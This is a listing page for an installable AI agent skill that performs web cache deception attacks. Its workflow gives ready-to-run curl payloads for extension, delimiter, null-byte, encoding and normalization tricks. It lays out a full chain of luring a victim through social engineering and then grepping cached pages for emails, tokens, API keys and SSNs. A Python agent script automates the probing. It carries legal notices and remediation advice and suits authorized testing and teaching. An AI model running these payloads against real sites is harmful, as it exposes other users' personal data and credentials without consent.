
Performing Web Cache Deception Attack
- 169 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Helps with ai & agent building tasks.
About
performing-web-cache-deception-attack is a Claude Code skill in the AI & Agent Building category.
- performing-web-cache-deception-attack
- AI & Agent Building
- AI-coding skill
Performing Web Cache Deception Attack by the numbers
- 169 all-time installs (skills.sh)
- +12 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #3,144 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-web-cache-deception-attackAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 169 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Helps with ai & agent building tasks.
Files
Performing Web Cache Deception Attack
When to Use
- When testing applications behind CDNs or reverse proxies (Cloudflare, Akamai, Varnish, Nginx)
- During assessment of authenticated page caching behavior
- When evaluating path normalization differences between caching and origin layers
- During bug bounty hunting on applications with aggressive caching policies
- When testing for sensitive data exposure through cache layer misconfiguration
Prerequisites
- Understanding of HTTP caching mechanisms (Cache-Control, Vary, Age headers)
- Knowledge of CDN path normalization and cache key construction
- Burp Suite for intercepting and crafting requests
- Two browser sessions (authenticated victim and unauthenticated attacker)
- Understanding of URL path parsing differences across technologies
- Familiarity with common CDN platforms (Cloudflare, Akamai, Fastly, AWS CloudFront)
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Caching Layer and Behavior
# Determine if a caching layer exists
curl -I http://target.com/account/profile
# Look for: X-Cache, CF-Cache-Status, Age, Via, X-Varnish headers
# Check caching rules for static extensions
curl -I "http://target.com/static/style.css"
# Look for: X-Cache: HIT, CF-Cache-Status: HIT, Age: >0
# Identify which extensions are cached
for ext in css js png jpg gif svg ico woff woff2 pdf; do
echo -n "$ext: "
curl -sI "http://target.com/test.$ext" | grep -i "x-cache\|cf-cache"
doneStep 2 — Test Path-Based Cache Deception
# Classic web cache deception: append static extension to dynamic URL
# Victim visits: http://target.com/account/profile/nonexistent.css
# If origin returns profile page and CDN caches it based on .css extension:
# Step 1: As victim (authenticated), visit:
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/anything.css"
# Step 2: As attacker (unauthenticated), request same URL:
curl "http://target.com/account/profile/anything.css"
# If victim's profile data is returned, cache deception is confirmed
# Test various extensions
for ext in css js png jpg svg ico woff2; do
curl -b "session=VICTIM_SESSION" "http://target.com/account/profile/x.$ext" -o /dev/null
sleep 2
echo -n "$ext: "
curl -s "http://target.com/account/profile/x.$ext" | head -c 200
echo
doneStep 3 — Exploit Delimiter-Based Discrepancies
# Use path delimiters that CDN and origin interpret differently
# Semicolon delimiter (ignored by CDN, processed by origin)
curl -b "session=VICTIM" "http://target.com/account/profile;anything.css"
# Encoded characters
curl -b "session=VICTIM" "http://target.com/account/profile%2Fstatic.css"
curl -b "session=VICTIM" "http://target.com/account/profile%3Bstyle.css"
# Null byte injection
curl -b "session=VICTIM" "http://target.com/account/profile%00.css"
# Fragment identifier abuse
curl -b "session=VICTIM" "http://target.com/account/profile%23.css"
# Dot segment normalization
curl -b "session=VICTIM" "http://target.com/static/..%2Faccount/profile"Step 4 — Test Normalization Discrepancies
# Path traversal normalization differences
# CDN normalizes: /account/profile/../static/x.css -> /static/x.css (cached)
# Origin sees: /account/profile (dynamic page returned)
curl -b "session=VICTIM" "http://target.com/static/../account/profile"
# CDN may cache as /account/profile if it normalizes differently than origin
# Encoded path traversal
curl -b "session=VICTIM" "http://target.com/static/..%2faccount/profile"
# Case sensitivity differences
curl -b "session=VICTIM" "http://target.com/account/profile/X.CSS"
# Double-encoded paths
curl -b "session=VICTIM" "http://target.com/account/profile/%252e%252e/static.css"Step 5 — Exploit Cache Key Manipulation
# Identify cache key components
# CDN may use: scheme + host + path (excluding query string)
# Test if query string affects caching
curl -b "session=VICTIM" "http://target.com/account/profile?cachebuster=123.css"
# Test if the CDN uses the full path or normalized path as cache key
curl -b "session=VICTIM" "http://target.com/account/profile/./style.css"
curl "http://target.com/account/profile/./style.css" # Check if cached
# Header-based cache key manipulation
curl -b "session=VICTIM" -H "X-Original-URL: /account/profile" \
"http://target.com/static/cached.css"Step 6 — Verify and Document the Attack
# Full attack chain:
# 1. Craft malicious URL: http://target.com/account/profile/x.css
# 2. Send URL to victim (via social engineering, email, etc.)
# 3. Victim clicks link while authenticated
# 4. CDN caches the authenticated response
# 5. Attacker requests the same URL without authentication
# 6. CDN serves cached authenticated content to attacker
# Verify cache status
curl -I "http://target.com/account/profile/x.css"
# Confirm: X-Cache: HIT or CF-Cache-Status: HIT
# Check what sensitive data is exposed
curl -s "http://target.com/account/profile/x.css" | grep -i "email\|name\|token\|api_key\|ssn"Key Concepts
| Concept | Description |
|---|---|
| Cache Deception | Tricking CDN into caching authenticated dynamic content as static resource |
| Path Normalization | How CDN and origin differently resolve path segments (../, ;, encoded chars) |
| Cache Key | The identifier CDN uses to store/retrieve cached responses (typically URL path) |
| Static Extension Trick | Appending .css/.js/.png to dynamic URLs to trigger caching behavior |
| Delimiter Discrepancy | Characters (;, ?, #) interpreted differently by cache vs. origin server |
| Cache Poisoning vs Deception | Poisoning modifies cache for all users; deception caches specific victim data |
| Vary Header | HTTP header controlling which request attributes affect cache key |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite | HTTP proxy for crafting cache deception requests |
| curl | Command-line testing of cache behavior and response headers |
| Web Cache Vulnerability Scanner | Automated tool for detecting cache deception/poisoning |
| Param Miner | Burp extension for discovering unkeyed cache parameters |
| Cloudflare Diagnostics | Analyzing CF-Cache-Status and cf-ray headers |
| Varnish CLI | Direct cache inspection for Varnish-based setups |
Common Scenarios
1. Profile Data Theft — Cache authenticated user profile pages containing PII (email, address, phone) by appending .css extension to profile URLs 2. API Token Exposure — Cache API dashboard pages showing tokens and secrets through path manipulation on CDN 3. Account Takeover — Cache pages containing session tokens or CSRF tokens, then use stolen tokens for account takeover 4. Financial Data Exposure — Cache banking or payment pages showing account balances and transaction history 5. Admin Panel Caching — Cache admin pages accessible through delimiter-based path confusion on CDN
Output Format
## Web Cache Deception Report
- **Target**: http://target.com
- **CDN**: Cloudflare
- **Vulnerability**: Path-based cache deception via static extension appending
### Cache Behavior Analysis
| Extension | Cached | Cache-Control | TTL |
|-----------|--------|---------------|-----|
| .css | Yes | public, max-age=86400 | 24h |
| .js | Yes | public, max-age=86400 | 24h |
| .png | Yes | public, max-age=604800 | 7d |
### Exploitation Results
| Victim URL | Cached Data | Sensitive Fields |
|-----------|-------------|-----------------|
| /account/profile/x.css | Full profile page | Email, Name, API Key |
| /account/settings/x.js | Settings page | 2FA backup codes |
### Remediation
- Configure CDN to respect Cache-Control: no-store on dynamic pages
- Implement Vary: Cookie header on authenticated endpoints
- Use path-based routing rules that reject unexpected extensions
- Enable consistent path normalization between CDN and origin
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Web Cache Deception Attack
Attack Technique
| Step | Action | Description |
|---|---|---|
| 1 | Identify authenticated endpoint | Find URL returning personalized content |
| 2 | Append static extension | /account/nonexistent.css |
| 3 | CDN caches response | Proxy treats as static file |
| 4 | Access cached URL unauthenticated | Receive victim's personalized data |
Static Extensions to Test
| Extension | Type | Cache Likelihood |
|---|---|---|
.css | Stylesheet | Very High |
.js | JavaScript | Very High |
.png, .jpg, .gif | Image | High |
.woff, .woff2 | Font | High |
.pdf | Document | Medium |
.ico | Icon | Medium |
Cache Detection Headers
| Header | Cached Indicators |
|---|---|
X-Cache | HIT |
CF-Cache-Status | HIT (Cloudflare) |
X-Cache-Status | HIT (Nginx proxy_cache) |
Age | Non-zero value |
X-Varnish | Two IDs = cache hit |
Path Delimiter Confusion
| Delimiter | URL Example |
|---|---|
; | /account;test.css |
%23 | /account%23test.css |
%3f | /account%3ftest.css |
Mitigation
| Control | Description |
|---|---|
Cache-Control: no-store | Prevent caching of authenticated pages |
| Validate file extension | Only cache actual static files |
Vary: Cookie | Separate cache by session |
Python Libraries
| Library | Version | Purpose |
|---|---|---|
requests | >=2.28 | HTTP requests with/without auth |
References
- PortSwigger Web Cache Deception: https://portswigger.net/web-security/web-cache-deception
- Original Research (Omer Gil): https://omergil.blogspot.com/2017/02/web-cache-deception-attack.html
#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Agent for testing web cache deception vulnerabilities.
Appends static file extensions to authenticated URLs to test
whether CDN/proxy caches serve personalized content to other users.
"""
import json
import os
import requests
import sys
from datetime import datetime
CACHE_EXTENSIONS = [".css", ".js", ".png", ".jpg", ".gif", ".ico",
".svg", ".woff", ".woff2", ".pdf", ".txt"]
CACHE_HEADERS = ["X-Cache", "X-Cache-Status", "CF-Cache-Status",
"Age", "X-Varnish", "X-Proxy-Cache", "X-CDN-Cache"]
class WebCacheDeceptionAgent:
"""Tests for web cache deception vulnerabilities."""
def __init__(self, target_url, auth_cookie=None, auth_header=None):
self.target_url = target_url.rstrip("/")
self.session = requests.Session()
if auth_cookie:
self.session.cookies.set(*auth_cookie.split("=", 1))
if auth_header:
self.session.headers["Authorization"] = auth_header
self.findings = []
def check_cache_headers(self, response):
"""Extract cache-related headers from response."""
cache_info = {}
for header in CACHE_HEADERS:
val = response.headers.get(header)
if val:
cache_info[header] = val
cache_info["Cache-Control"] = response.headers.get("Cache-Control", "")
return cache_info
def test_path_confusion(self, authenticated_path="/account"):
"""Test cache deception via path confusion with static extensions."""
url = f"{self.target_url}{authenticated_path}"
results = []
baseline = self.session.get(url, timeout=10, allow_redirects=False)
baseline_len = len(baseline.text)
baseline_has_pii = self._check_pii(baseline.text)
for ext in CACHE_EXTENSIONS:
test_url = f"{url}/nonexistent{ext}"
try:
resp = self.session.get(test_url, timeout=10, allow_redirects=False)
cache_info = self.check_cache_headers(resp)
cached = any(v.lower() in ("hit", "true", "1")
for v in cache_info.values() if isinstance(v, str))
content_match = abs(len(resp.text) - baseline_len) < 100
if content_match and resp.status_code == 200:
unauth = requests.get(test_url, timeout=10)
served_to_unauth = abs(len(unauth.text) - baseline_len) < 100
if served_to_unauth:
self.findings.append({
"type": "Web Cache Deception",
"severity": "Critical",
"url": test_url,
"extension": ext,
"cached_pii": baseline_has_pii,
})
results.append({
"extension": ext, "url": test_url,
"status": resp.status_code,
"content_match": content_match,
"cache_headers": cache_info,
"cached": cached,
})
except requests.RequestException:
continue
return results
def test_delimiter_confusion(self, authenticated_path="/account"):
"""Test path delimiter confusion (semicolon, hash, question mark)."""
delimiters = [";", "%23", "%3f", "%3b", "\r\n"]
results = []
for delim in delimiters:
for ext in [".css", ".js", ".png"]:
test_url = f"{self.target_url}{authenticated_path}{delim}test{ext}"
try:
resp = self.session.get(test_url, timeout=10)
cache_info = self.check_cache_headers(resp)
results.append({
"delimiter": delim, "extension": ext,
"status": resp.status_code,
"cache_headers": cache_info,
})
except requests.RequestException:
continue
return results
def _check_pii(self, text):
"""Check if response contains PII indicators."""
pii_indicators = ["email", "username", "name", "address", "phone",
"ssn", "credit", "account", "@"]
return any(indicator in text.lower() for indicator in pii_indicators)
def generate_report(self):
report = {
"target": self.target_url,
"report_date": datetime.utcnow().isoformat(),
"vulnerable": len(self.findings) > 0,
"findings_count": len(self.findings),
"findings": self.findings,
}
print(json.dumps(report, indent=2))
return report
def main():
url = sys.argv[1] if len(sys.argv) > 1 else os.environ.get("TARGET_URL", "http://localhost:8080")
path = sys.argv[2] if len(sys.argv) > 2 else "/account"
cookie = sys.argv[3] if len(sys.argv) > 3 else None
agent = WebCacheDeceptionAgent(url, auth_cookie=cookie)
agent.test_path_confusion(path)
agent.test_delimiter_confusion(path)
agent.generate_report()
if __name__ == "__main__":
main()